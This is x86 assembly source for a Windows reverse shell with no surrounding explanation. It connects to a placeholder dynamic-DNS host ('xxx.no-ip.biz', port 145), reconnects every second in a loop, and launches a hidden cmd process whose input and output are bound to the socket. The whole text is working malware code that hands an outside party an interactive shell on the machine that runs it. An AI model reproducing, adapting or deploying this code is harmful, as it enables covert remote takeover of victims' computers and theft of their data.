IP db 'xxx.no-ip.biz',0
port = 145

proc shell_thread
locals
saddr sockaddr_in
socket dd ?
endl

invoke ntohs,port
mov [saddr.sin_port],ax
mov [saddr.sin_family],AF_INET
.loop_@@:
invoke WSASocket,AF_INET,SOCK_STREAM,0,0,0,0
cmp eax,-1
je .exit
mov [socket],eax
@@:
stdcall NetResolve,IP
test eax,eax
jne @f
invoke Sleep,1000
jmp @b
@@:
mov [saddr.sin_addr],eax
lea eax,[saddr]
invoke connect,[socket],eax,sizeof.sockaddr_in
test eax,eax
jne @f

stdcall run_shell,[socket]
@@:

invoke closesocket,[socket]
invoke Sleep,1000
jmp .loop_@@

.exit:
ret
endp


proc run_shell,socket
locals
s_info STARTUPINFO
p_info PROCESS_INFORMATION
endl
pusha
lea edi,[s_info]
mov ecx,sizeof.STARTUPINFO
xor eax,eax
rep stosb
mov [s_info.cb],sizeof.STARTUPINFO
mov [s_info.dwFlags],100h
mov [s_info.wShowWindow],SW_HIDE
push [socket]
pop [s_info.hStdInput]
push [socket]
pop [s_info.hStdOutput]
push [socket]
pop [s_info.hStdError]
lea edx,[s_info]
lea ecx,[p_info]
invoke CreateProcess,0,cmd,0,0,1,08000000h,0,0,edx,ecx
test eax,eax
je .exit
invoke WaitForSingleObject,[p_info.hProcess],-1
invoke CloseHandle,[p_info.hProcess]
.exit:
popa
ret
endp

proc NetResolve,lpHost
invoke gethostbyname,[lpHost]
or eax,eax
jz .exit
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
.exit:
ret
endp